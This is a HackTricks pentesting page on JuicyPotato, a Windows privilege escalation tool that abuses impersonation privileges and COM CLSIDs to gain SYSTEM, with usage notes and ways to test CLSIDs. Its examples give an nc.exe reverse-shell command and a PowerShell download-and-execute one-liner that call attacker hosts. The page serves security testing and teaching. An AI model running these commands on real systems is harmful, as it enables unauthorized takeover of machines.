hacktricks/windows-hardening/windows-local-privilege-escalation/juicypotato.md

181 lines
11 KiB
Markdown
Raw Normal View History

2022-10-03 18:16:17 +00:00
# JuicyPotato
2022-04-28 16:01:33 +00:00
<details>
2024-02-09 00:36:13 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2022-10-03 18:16:17 +00:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2024-04-06 16:25:58 +00:00
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2022-12-24 19:19:02 +00:00
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
2024-04-18 03:10:20 +00:00
## WhiteIntel
2024-04-18 03:13:38 +00:00
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
2024-04-18 03:10:20 +00:00
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
You can check their website and try their engine for **free** at:
{% embed url="https://whiteintel.io" %}
---
2022-10-03 18:16:17 +00:00
{% hint style="warning" %}
2022-10-22 12:26:54 +00:00
**JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. _**Check:**_
2022-10-03 18:16:17 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2022-10-03 18:16:17 +00:00
{% content-ref url="roguepotato-and-printspoofer.md" %}
[roguepotato-and-printspoofer.md](roguepotato-and-printspoofer.md)
{% endcontent-ref %}
2022-10-03 18:16:17 +00:00
## Juicy Potato (abusing the golden privileges) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
2022-10-03 18:16:17 +00:00
#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
### Summary <a href="#summary" id="summary"></a>
2024-04-06 16:25:58 +00:00
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
2024-02-08 03:06:37 +00:00
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken.
We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Say hello to Juicy Potato**.
> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references.
We discovered that, other than `BITS` there are a several COM servers we can abuse. They just need to:
1. be instantiable by the current user, normally a “service user” which has impersonation privileges
2. implement the `IMarshal` interface
3. run as an elevated user (SYSTEM, Administrator, …)
After some testing we obtained and tested an extensive list of [interesting CLSIDs](http://ohpe.it/juicy-potato/CLSID/) on several Windows versions.
2022-10-03 18:16:17 +00:00
### Juicy details <a href="#juicy-details" id="juicy-details"></a>
JuicyPotato allows you to:
2022-10-03 18:16:17 +00:00
* **Target CLSID** _pick any CLSID you want._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _you can find the list organized by OS._
* **COM Listening port** _define COM listening port you prefer (instead of the marshalled hardcoded 6666)_
* **COM Listening IP address** _bind the server on any IP_
* **Process creation mode** _depending on the impersonated users privileges you can choose from:_
* `CreateProcessWithToken` (needs `SeImpersonate`)
* `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
* `both`
2022-10-03 18:16:17 +00:00
* **Process to launch** _launch an executable or script if the exploitation succeeds_
* **Process Argument** _customize the launched process arguments_
* **RPC Server address** _for a stealthy approach you can authenticate to an external RPC server_
* **RPC Server port** _useful if you want to authenticate to an external server and firewall is blocking port `135`…_
* **TEST mode** _mainly for testing purposes, i.e. testing CLSIDs. It creates the DCOM and prints the user of token. See_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
2022-10-03 18:16:17 +00:00
### Usage <a href="#usage" id="usage"></a>
```
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
```
2022-10-03 18:16:17 +00:00
### Final thoughts <a href="#final-thoughts" id="final-thoughts"></a>
2024-04-06 16:25:58 +00:00
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
2024-02-08 03:06:37 +00:00
If the user has `SeImpersonate` or `SeAssignPrimaryToken` privileges then you are **SYSTEM**.
Its nearly impossible to prevent the abuse of all these COM Servers. You could think about modifying the permissions of these objects via `DCOMCNFG` but good luck, this is gonna be challenging.
The actual solution is to protect sensitive accounts and applications which run under the `* SERVICE` accounts. Stopping `DCOM` would certainly inhibit this exploit but could have a serious impact on the underlying OS.
From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
2022-10-03 18:16:17 +00:00
## Examples
Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try.
2022-10-03 18:16:17 +00:00
### Get a nc.exe reverse shell
```
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
```
2022-10-03 18:16:17 +00:00
### Powershell rev
2021-01-24 16:24:08 +00:00
```
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
2021-01-24 16:24:08 +00:00
```
2022-10-03 18:16:17 +00:00
### Launch a new CMD (if you have RDP access)
2024-04-06 16:25:58 +00:00
![](<../../.gitbook/assets/image (297).png>)
2022-10-03 18:16:17 +00:00
## CLSID Problems
Oftentimes, the default CLSID that JuicyPotato uses **doesn't work** and the exploit fails. Usually, it takes multiple attempts to find a **working CLSID**. To get a list of CLSIDs to try for a specific operating system, you should visit this page:
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
2022-10-03 18:16:17 +00:00
### **Checking CLSIDs**
First, you will need some executables apart from juicypotato.exe.
Download [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) and load it into your PS session, and download and execute [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). That script will create a list of possible CLSIDs to test.
2022-10-03 18:16:17 +00:00
Then download [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test\_clsid.bat)(change the path to the CLSID list and to the juicypotato executable) and execute it. It will start trying every CLSID, and **when the port number changes, it will mean that the CLSID worked**.
**Check** the working CLSIDs **using the parameter -c**
2022-04-28 16:01:33 +00:00
2024-02-08 03:06:37 +00:00
## References
2024-04-06 16:25:58 +00:00
2024-02-08 03:06:37 +00:00
* [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
2024-04-18 03:10:20 +00:00
## WhiteIntel
2024-04-18 03:13:38 +00:00
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
2024-04-18 03:10:20 +00:00
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
You can check their website and try their engine for **free** at:
{% embed url="https://whiteintel.io" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-09 00:36:13 +00:00
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2022-10-03 18:16:17 +00:00
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
2024-04-06 16:25:58 +00:00
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2022-12-24 19:19:02 +00:00
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>